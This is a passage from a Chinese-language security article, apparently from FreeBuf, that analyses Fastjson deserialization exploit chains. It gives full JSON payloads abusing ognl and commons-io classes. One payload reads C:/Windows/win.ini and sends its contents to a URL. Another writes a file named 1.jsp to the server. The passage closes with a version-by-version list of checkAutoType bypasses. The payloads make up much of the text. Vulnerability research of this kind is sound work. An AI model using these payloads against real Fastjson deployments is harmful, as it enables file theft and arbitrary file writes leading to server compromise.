"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
這一步會調(diào)用ParserConfig.getDeserializer為_evaluation所在的類Evaluation創(chuàng)建deserializer并放入緩存,以便繞過對Evaluation類的checkAutoType的檢測
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
調(diào)用Evaluation類的構(gòu)造函數(shù),傳入node參數(shù)
node為ASTMethod類,調(diào)用ASTMethod類的構(gòu)造函數(shù),傳入p參數(shù),p為OgnlParser類
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
.....
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36
]
}]
再調(diào)用OgnlParser類的構(gòu)造函數(shù),傳遞stream參數(shù)
stream為BOMInputStream類,再調(diào)用BOMInputStream類的構(gòu)造函數(shù),傳遞delegate、boms參數(shù)
再調(diào)用ReaderInputStream類的構(gòu)造函數(shù)
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
...
"charsetName": "UTF-8",
"bufferSize": 1024
傳遞reader、charsetName、bufferSize參數(shù),reader為URLReader類,調(diào)用URLReader類的構(gòu)造函數(shù),傳遞url參數(shù),url為String類型
一些細(xì)節(jié)需要注意:
"@type": "java.lang.String" {
會調(diào)用parse解析后面整個對象,然后調(diào)用toString()返回
"@type": "java.lang.String" [
和{的一樣
"@type": "java.lang.String" "
會直接返回后面第一個雙引號引起來的字符串,然后交給其他類進(jìn)行解析
回到這里
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
他會把后面當(dāng)成對象解析
獲取Locale的deserializer(MiscCodec),然后調(diào)用deserializer的deserialize方法
val為JSONObject類,將val作為對象解析
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]
}
}
},
這里調(diào)用Locale的構(gòu)造函數(shù),傳language和country,并封裝成BaseLocale類型賦值給baseLocale屬性
在country里,會調(diào)用BasicCompilationUnit的構(gòu)造函數(shù),傳遞fileName參數(shù)
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]
}
}
},
},
最后將val的解析結(jié)果封裝成JSONObject,這時候會調(diào)用BasicCompilationUnit的getter方法
在BasicCompilationUnit的getContents方法中讀取文件,并返回字節(jié)數(shù)組,同時調(diào)用其他getter方法,將屬性值不為null的封裝到JSONObject中


之前說過,"@type": "java.lang.String" {
會調(diào)用parse解析后面整個對象,然后調(diào)用toString()返回,所以會調(diào)用Locale.toString()方法返回字符串給url

會將baseLocale的屬性使用_
分割并組裝

"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
小插曲
"$ref": "$.su16.node.p.stream"
表示引用根對象下su16
對象的node
對象下的p
對象下的stream
對于引用來說,在DefaultJSONParser的parseObject中,當(dāng)解析到引用時并不會立即解析,而是先編譯然后加到任務(wù)隊列

然后使用null作為該引用的解析結(jié)果,然后返回到外層JSON.parse中


然后在JSON.parse中處理所有引用關(guān)系,此時開始真正解析引用類型
在handleRsovleTask中,遍歷任務(wù)隊列,解析引用類型,然后調(diào)用getObject拿到該引用類型的值
在getObject中比較簡單,遍歷所有樹節(jié)點,這些樹節(jié)點是提前解析好的了,已經(jīng)有對應(yīng)的值存儲在節(jié)點里,然后判斷該引用是否跟節(jié)點相同,相同就返回節(jié)點對應(yīng)的值。
$.su16.node.p.stream
的值為BOMInputStream
第二次解析$.su17.bOM.bytes
由于在之前所有節(jié)點中并沒有該引用,所以返回null
refValue為null時,會解析該封裝成JSONPath,并調(diào)用eval解析
然后會將JSONPath分成三個屬性段,第一個為su17,第二個為bOM,第三個為bytes
然后調(diào)用eval方法取每個屬性段的值
然后在JSONPath.getPropertyValue方法中
如果currentObject是Map類型,他首先會在currentObject取屬性段的值。若不是Map類型,則調(diào)用getter方法去取對應(yīng)屬性的值。
為什么不合在一起寫成"$ref": "$.su16.node.p.stream.bom.bytes"
?
一開始從節(jié)點中找不到這個$.su16.node.p.stream.bom.bytes
,所以refValue為null,然后調(diào)用JSONPath.eval解析該路徑,JSONPath.eval會將該路徑解析成一個個屬性段,然后將調(diào)用屬性段的eval方法將返回值給currentObject,下次循環(huán)再將currentObject進(jìn)行傳參調(diào)用eval方法
所以這個路徑$.su16.node.p.stream.bom.bytes
是這樣解析的
$的值為Evaluation類
然后調(diào)用Evaluation類的getNode方法獲取node(ASTMethod類)
然后ASTMethod類的getter方法獲取p,由于p沒有g(shù)etter方法所以返回null
然后將currentObjct(null)作為參數(shù)接著執(zhí)行屬性段的eval方法
然后在JSONPath.getPropertyValue方法判斷currentObjct為null,所以返回null,再賦值給currentObject
所以p屬性段的解析結(jié)果為null,后面繼續(xù)循環(huán)4-6步驟
最終返回currentObject為null
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM"
}
su17拿到BOMInputStream對象,然后調(diào)用getBOM方法
調(diào)用in.read(),in為ReaderInputStream
reader為URLReader,調(diào)用URLReader的read()方法
調(diào)用getReader方法

url封裝了讀取文件的結(jié)果,將url作為參數(shù),調(diào)用Source.readFully()方法

發(fā)起請求,將讀取的文件外帶
寫文件
使用ognl庫配合commons-io庫
這條鏈配合了commons-io那條鏈(XmlStreamReader鏈來完成文件讀寫操作)
{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aa大于8192個字符"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"1.jsp",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su17": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su18": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
},
"su19": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{"$ref": "$.su16.node.p.stream.delegate.reader.is.input"},
"branch":{"$ref": "$.su16.node.p.stream.delegate.reader.is.branch"},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36,82
]
}]
}
}
}
}, ?
}
這里的原理和上面的讀文件相同,只不過在構(gòu)造ReaderInputStream時,傳入的reader為XmlStreamReader,觸發(fā)了commons-io文件讀寫那條鏈
后面su17、su18、su19
是為了觸發(fā)三次寫入,之前說過寫一次限制為4096字節(jié),而只有當(dāng)寫入超過8192字節(jié)才會刷新緩存區(qū)真正寫入到文件中;
XmlStreamReader在構(gòu)造器方法中會觸發(fā)doRawStream()方法,在doRawStream()方法中觸發(fā)getBOMCharsetName(),在getBOMCharsetName()中觸發(fā)getBOM(),getBOM()觸發(fā)TeeInputStream的read()方法,此時TeeInputStream為同一個對象(因為引用了上一個對象),就可以達(dá)循環(huán)讀寫。
總結(jié)
還有其他一些比較冷門的利用鏈,就沒必要看了
fastjson=1.2.83
1.2.83中,在ParserConfig的checkAutoType中,
若為Throwable的子類,則clazz置null,并返回

同時類名以Exception或者Error結(jié)尾的都會返回null

兩層防御導(dǎo)致有關(guān)ThrowableDeserializer那條鏈的繞過失效;
重新審視這張圖

唯一能利用expectClass進(jìn)行繞過的只有JavaBeanDeserializer這條鏈,而需要有一個類滿足一些條件,且他的deserializer為JavaBeanDeserializer,這時就可以繞過checkAutoType的檢測;
1.2.83及以上未爆出新的漏洞了,但是根據(jù)FastJSON的尿性,估計肯定還會有不少漏洞,肯定也有不少師傅存著一些POC在偷偷利用也說不定;
總結(jié)
1.2.24之下無限制,隨便玩
1.2.25到1.2.41新增黑白名單,使用L
開頭;
結(jié)尾進(jìn)行繞過
1.2.42雙寫L
開頭;
結(jié)尾進(jìn)行繞過
1.2.43使用[
進(jìn)行繞過
1.2.47及以下使用MiscCodec類刷新緩存繞過
1.2.48cache為false,不給存入緩存
1.2.48到1.2.80利用expectClass繞過
-1.2.48到1.2.68使用AutoCloseable進(jìn)行繞過
-1.2.69到1.2.80使用ThrowableDeserializer進(jìn)行繞過
Reference
https://github.com/threedr3am/learnjavabug/commit/ea61297cf7b2125ecae0064d2b8061a9e32db1e6
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
http://scz.617.cn:8/web/202008100900.txt
http://x2y.pw/2020/11/15/fastjson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%95%B4%E7%90%86/
https://www.anquanke.com/post/id/203086
https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html
本文作者:ZeanHike,?轉(zhuǎn)載請注明來自FreeBuf.COM